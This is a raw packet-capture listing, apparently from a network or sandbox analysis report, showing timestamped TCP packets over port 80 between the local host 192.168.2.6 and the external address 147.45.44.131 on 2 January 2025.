Jan 2, 2025 19:14:17.713826895 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.713830948 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.713864088 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.715393066 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.719192028 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.719199896 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.719361067 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.719382048 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.733783960 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.733851910 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.733859062 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.733865023 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.733870983 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.733915091 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.733922958 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.733928919 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.733933926 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.733939886 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.733953953 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.733959913 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.733963966 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.733963966 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.733966112 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.733972073 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.733978033 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.733984947 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734016895 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.734150887 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734157085 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734164953 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734169960 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734175920 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734181881 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734188080 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734193087 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734198093 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.734198093 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734204054 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734213114 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.734217882 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734219074 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.734224081 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734230995 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734241009 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734246016 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734247923 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.734251976 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734260082 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734287024 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.734287024 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.734455109 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734462023 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734467030 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734477997 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734484911 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734493017 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.734502077 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734510899 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734518051 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734524012 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734528065 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.734529018 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734535933 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734540939 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734546900 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734551907 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734556913 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.734558105 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734564066 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734574080 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.734577894 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734584093 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734591961 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734596968 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734602928 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734605074 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.734606028 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.734610081 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734616995 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734625101 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734632015 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.734632015 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.734797955 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734803915 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734808922 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734817028 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734824896 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734832048 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734839916 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734844923 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.734848976 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734858036 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734858990 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.734858990 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.734864950 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734872103 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734883070 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734888077 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734894037 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734899998 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734901905 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.734905958 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734913111 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734921932 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.734921932 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.734951973 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734960079 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734967947 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734977007 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734985113 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734985113 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.734992027 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.734997988 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735012054 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.735012054 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.735136986 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735142946 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735147953 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735153913 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735158920 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735162973 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.735165119 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735172033 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735177040 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735188007 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735193968 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735197067 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.735198021 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735204935 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735209942 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735215902 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735219955 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.735222101 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735227108 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735233068 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735239029 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735249996 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735256910 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.735260010 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.735326052 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735335112 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735349894 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.735414982 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735424042 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735431910 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735439062 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735446930 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735451937 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735457897 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735464096 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735464096 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.735470057 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735479116 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735483885 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735485077 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.735485077 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.735502005 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.735645056 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735651970 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735656977 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735662937 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735668898 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735673904 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735677958 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.735678911 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735686064 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735697031 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735709906 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735709906 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.735718012 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735723972 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735728979 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735733986 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.735735893 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735742092 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735748053 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735760927 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.735760927 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.735760927 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735768080 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735775948 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735786915 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735793114 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735799074 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735804081 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735810041 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735820055 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735830069 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735835075 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735837936 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.735837936 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.735841990 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735848904 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735856056 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.735868931 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.735868931 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.736044884 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736052036 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736057997 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736068964 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736073971 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736079931 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736084938 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736089945 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736095905 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736099005 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.736100912 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736109972 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.736115932 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736121893 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736126900 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736139059 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736150980 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736151934 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.736157894 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736162901 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736165047 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.736170053 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736176014 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736186981 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736192942 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736195087 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.736195087 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.736200094 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736207008 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736218929 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736227036 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.736257076 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736263037 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736268044 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736273050 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736274004 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.736274004 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.736279011 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736310959 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.736468077 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736474037 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736480951 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736488104 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736495018 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736505032 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736511946 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736517906 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.736517906 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736617088 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736623049 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736630917 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736634970 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.736638069 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736644983 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736650944 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736656904 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736656904 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.736670971 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736676931 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736681938 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.736684084 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736690998 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736696959 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736704111 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736726999 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.736726999 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.736759901 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736766100 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736772060 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736778021 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736783028 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736788988 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736793995 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736794949 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.736803055 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736809969 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736814976 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736820936 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736824036 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.736828089 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736835003 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736840963 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.736844063 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.736896992 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.737027884 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737035990 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737095118 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.737143040 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737150908 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737155914 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737168074 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737174034 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737179041 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737185001 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737185001 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.737191916 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737198114 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737205029 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737205982 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.737216949 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737235069 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.737277985 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737286091 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737291098 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737303019 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737308979 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737313986 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737319946 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737325907 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737330914 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737334967 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.737334967 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.737335920 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737343073 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737366915 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.737366915 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.737413883 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737421036 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737426996 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737432003 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737437963 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737446070 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737453938 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737462044 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737463951 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.737463951 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.737468004 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737473965 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737479925 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737484932 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737500906 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.737500906 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.737500906 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.737503052 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737509012 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737514973 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737521887 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737535954 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.737544060 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737552881 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737561941 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737586975 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.737688065 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.737696886 CET	80	49734	147.45.44.131	192.168.2.6
